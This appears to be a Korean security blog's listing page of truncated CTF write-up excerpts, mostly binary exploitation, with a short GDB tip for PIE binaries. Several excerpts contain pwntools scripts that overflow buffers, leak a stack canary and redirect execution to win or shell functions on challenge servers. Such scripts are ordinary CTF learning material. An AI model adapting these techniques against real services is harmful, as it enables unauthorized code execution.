ACSC2021 - Histogram

CTF 풀지못한 문제 - pwn 2021. 9. 19. 19:48

csv파일 개념 자체도 몰랐으며 nan이라는 값도 몰라 풀지 못했던 문제이다. 공격 벡터는 알았으나 실제로 이를 적용하지 못해 풀지 못했던 아쉬운 문제. 우선 개념부터 짚고 넘어가자. CSV(영어: comma-separated values)는 몇 가지 필드를 쉼표(,)로 구분한 텍스트 데이터 및 텍스트 파일이다. 확장자는 .csv이며 MIME 형식은 text/csv이다. comma-separated variables라고도 한다. 출처: 위키피디아 예시 1.01, 2.01 1.01, 2.01 1.01, 2.01 1.01, 2.01 1.01, 2.01 1.01, 2.01 1.01, 2.01 1.01, 2.01 1.01, 2.01 NaN(Not a Nuber)데이터 표현 불가능한 수치형 데이터 분석 read_..

Article Thumbnail
ACSC(Asia Cyber Security Challenge) 2021 Writeup

CTF-Writeup 2021. 9. 19. 19:14

PWN filtered 아주 쉬웠던 문제이다. Integer Overflow가 일어나 입력받는 값의 사이즈를 매우 크게 정할 수 있으며 이를 통해 win함수를 호출해주면 끝 from pwn import * p = remote('filtered.chal.acsc.asia', 9001) e = ELF('./filtered') win = 0x4011d6 payload = b"A"*280 payload += p64(win) p.sendlineafter('Size: ', '-1') p.sendlineafter('Data: ', payload) p.interactive() histogram 제일 시간을 많이 썼던 문제. read_data에서 map의 인덱스를 -으로 만들어서 원하는 함수의 값을 overwrite하는..

Article Thumbnail
2021 tamuctf Writeup

CTF-Writeup 2021. 9. 17. 00:42

PWN warmup from pwn import * p = remote('194.5.207.56',7000) payload = "A"*80 p.sendlineafter('name:', payload) p.interactive() Babypwn from pwn import * p = remote('194.5.207.56',7010) wow = 0x4012ec payload = b"" p.sendlineafter('name: ', b"A"*0x1c+p64(0xcafe)) payload += b"B"*128 payload += b"C"*8 payload += p64(wow) p.sendlineafter(b';;)', payload) p.interactive() canary(이건 못품) 작성했던 코드 from ..

Article Thumbnail
Grabcon2021 Write-up

CTF-Writeup 2021. 9. 17. 00:22

PWN cancancan 풀고나서 바로 롸업을 안써서 어케 풀었는지 까먹었따.. 아마 카나리 릭 하고 푸는 문제인듯 from pwn import * p = remote('35.246.42.94', 31337) e = ELF('./cancancan') win = 0x8049236 payload = b"" payload += b"A"*99+b"B" p.sendlineafter('me???\n', payload) p.recv(101) canary = u32(b"\x00"+p.recv(3)) log.info(f'canary: {hex(canary)}') payload1 = b"C"*100 payload1 += p32(canary) payload1 += b"D"*12 payload1 += p32(win) p.se..

Article Thumbnail
SSTF 2021 - L0st Ark

Pwnable 2021. 8. 31. 23:42

2021년 SSTF CTF 문제이다. 우선 기드라로 보면 create()함수에서 1,2,3은 정상적으로 메뉴에서 출력하는 부분이지만 7을 입력했을때 Lupeon이라는 부분을 실행한다 이 Lupeon 부분을 보면 마지막쪽에 gift라는 부분을 인자로 전달함을 알 수 있다. 이 gift는 쉘을 실행ㅎ시키는 함수이다. 이 gift를 실행시키면 될거 같다. 우선 Lupeon 다음 부분에 bp를 걸고 보자. 0x555555570ea0:0x00000000000000000x0000000000000061 0x555555570eb0:0x000055555555db680x0000555555570ec8 0x555555570ec0:0x00000000000000060x00006e6f6570754c# len("Lupeon")"Lu..

Article Thumbnail
DCTF 2021 Write-up

CTF-Writeup 2021. 8. 23. 16:38

DCTF 2021 Write-UP 개인 사정으로 인해, 대회가 끝나고 풀었지만, 해답은 보지않았음 pinch_me from pwn import * #p = process('./pinch_me') p = remote('dctf1-chall-pinch-me.westeurope.azurecontainer.io', 7480) e = ELF('./pinch_me') payload = b'' payload += b'A'*24 payload += p64(0x1337C0DE) p.sendlineafter('dreaming?\n', payload) p.interactive()pwn_sanity_check from pwn import *..

corCTF 2021 Write-up

CTF-Writeup 2021. 8. 23. 12:15

이번에 크립토 1문제와 pwn 1문제를 풀었다. pwn에서는 Cshell문제만 풀었어도 좀 올라갔을텐데 공격 벡터를 찾지 못하였고 rev문제와 web문제는 풀지도 못하였다.. 공부를 더 열심히 해야할거 같다.. PWN 간단한 문제 ROP문제이다. int verify(EVP_PKEY_CTX *ctx,uchar *sig,size_t siglen,uchar *tbs,size_t tbslen) { int iVar1; char local_108 [256]; printf("Please enter your name: "); gets(local_108); iVar1 = strcmp(local_108,name); if (iVar1 == 0) { printf("Hi %s!\n",name); iVar1 = printf("Y..

Article Thumbnail
RARCTF 2021

CTF-Writeup 2021. 8. 10. 22:29

PWN from pwn import * p = remote('193.57.159.27', 43092) code =0x404068 p.sendlineafter('no]:', 'yes') payload = b"" payload += b"fffffffffff04068" p.sendlineafter('shoot?\n', payload) p.interactive() from pwn import * #p = process('./ret2winrars') p = remote('193.57.159.27', 30527) flag = 0x401166 payload = "A"*0x28 payload += p64(flag) p.sendlineafter(b'access:', payload) p.interactive() 제일 삽질..

Article Thumbnail
2021 ImaginaryCTF writeup

CTF-Writeup 2021. 7. 28. 13:35

Crypto나 misc 중에 프로그래밍을 이용한 문제 해결문제가 있었는데 많이 못풀었다... 100점짜리 문제들만 다 풀었어도 1000점은 넘었을텐데 아쉽다.. crypto와 misc 프로그래밍 문제를 풀면서 프로그래밍 능력 향상을 해야겠다.. PWN stackoverflow from pwn import * p = remote('chal.imaginaryctf.org', 42001) payload = "" payload += "A"*40 payload += p64(0x69637466) p.sendlineafter('color?\n', payload) p.interactive() fake_canary from pwn import * p = remote('chal.imaginaryctf.org',42002)..

Article Thumbnail
PIE 디버깅

Technique 2021. 7. 25. 18:56

b * 0 r x/20i $pc 두 번째 call 아래에 브레이크 포인트 d 1 r x/10i $r12 젤 아래에 나오는 주소가 main 함수의 주소 [출처] 10. GDB로 PIE 디버깅|작성자 JSec